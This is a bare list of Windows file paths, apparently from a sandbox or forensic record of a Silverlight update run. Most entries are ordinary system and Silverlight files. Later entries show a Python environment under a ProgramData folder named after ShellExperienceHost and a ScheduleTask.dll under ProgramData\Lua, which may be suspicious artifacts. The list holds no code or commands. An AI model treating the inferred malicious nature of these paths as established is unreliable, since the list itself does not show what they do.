C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.VISUALBASIC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\MICROSOFT.VISUALBASIC.RESOURCES.DLL
C:\CONFIG.MSI\142B3.RBF
C:\WINDOWS\INSTALLER\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}\CONFIGICONDLL
C:\WINDOWS\SYSTEM32\PROPSYS.DLL
C:\WINDOWS\SYSTEM32\SHELL32.DLL
C:\WINDOWS\SYSTEM32\NTMARTA.DLL
C:\PROGRAM FILES (X86)\DESKTOP.INI
C:\WINDOWS\SYSTEM32\LINKINFO.DLL
C:\WINDOWS\SYSTEM32\NTSHRUI.DLL
C:\WINDOWS\SYSTEM32\CSCAPI.DLL
C:\WINDOWS\SYSTEM32\SLC.DLL
C:\PROGRAMDATA\MICROSOFT\WINDOWS\START MENU\PROGRAMS\MICROSOFT SILVERLIGHT\MICROSOFT SILVERLIGHT.LNK
C:\WINDOWS\SYSWOW64\QUTIL.DLL
C:\WINDOWS\SYSWOW64\WEVTAPI.DLL
C:\WINDOWS\INSTALLER\142B4.MSP
C:\CONFIG.MSI\MSI50C4.TMP
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF9C377DC677B86658.TMP
C:\WINDOWS\SYSWOW64\MSIEXEC.EXE
C:\WINDOWS\SYSWOW64\EN-US\MSIEXEC.EXE.MUI
C:\WINDOWS\SYSTEM32\KERNELBASE.DLL
C:\PROGRAMDATA\MICROSOFT\PLAYREADY
C:\WINDOWS\SYSWOW64\RUNDLL32.EXE
C:\WINDOWS\APPPATCH\ACWOW64.DLL
C:\WINDOWS\SYSWOW64\EN-US\RUNDLL32.EXE.MUI
C:\WINDOWS\SYSWOW64\WUAPI.DLL
C:\WINDOWS\WINDOWSUPDATE.LOG
C:\WINDOWS\SYSWOW64\WUPS.DLL
C:\WINDOWS\SYSWOW64\TZRES.DLL
C:\WINDOWS\SYSWOW64\EN-US\TZRES.DLL.MUI
C:\WINDOWS\FONTS\VERDANAB.TTF
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
C:\WINDOWS\SYSTEM32\EN-US\CONHOST.EXE.MUI
C:\WINDOWS\SYSTEM32\CONHOST.EXE
C:\WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.NI.DLL
C:\PROGRAMDATA\LUA\SCHEDULETASK.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.XNA.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.RUNTIMEHOST.NI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.BROWSER.NI.DLL
C:\WINDOWS\TEMP\2021-07-12-18-48-58.ZIP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L1-2-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L2-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONIO-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-MATH-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-PROCESS-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STRING-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-TIME-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBCRYPTO-1_1-X64.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBSSL-1_1-X64.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\ADODBAPI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\ADO_CONSTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\APIBASE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\DB_PRINT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\DB_TABLE_NAMES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\XLS_READ.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\XLS_WRITE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\IS64BIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\LICENSE.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\PROCESS_CONNECT_STRING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\README.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\REMOTE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\SCHEMA_TABLE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\SETUP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\ADODBAPITEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\ADODBAPITESTCONFIG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\DBAPI20.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\IS64BIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\SETUPTESTFRAMEWORK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\TEST_ADODBAPI_DBAPI20.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\TRYCONNECTION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\METADATA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\PY.TYPED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ABC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_BASE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_BIDICT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_DELEGATING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_DUP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_EXC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_FROZENBIDICT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_FROZENORDERED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ITER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_MUT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_NAMED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ORDEREDBASE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ORDEREDBIDICT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_TYPING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\CACERT.PEM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\CORE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__MAIN__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\ENTRY_POINTS.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\API.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\BACKEND_CTYPES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\CFFI_OPCODE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\COMMONTYPES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\CPARSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\ERROR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\FFIPLATFORM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\LOCK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\MODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\PARSE_C_TYPE.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\PKGCONFIG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\RECOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\SETUPTOOLS_EXT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\VENGINE_CPY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\VENGINE_GEN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\VERIFIER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\_CFFI_ERRORS.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\_CFFI_INCLUDE.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\_EMBEDDING.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\ENTRY_POINTS.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\BIG5FREQ.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\BIG5PROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARDISTRIBUTION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARSETGROUPPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARSETPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CLI\CHARDETECT.PY
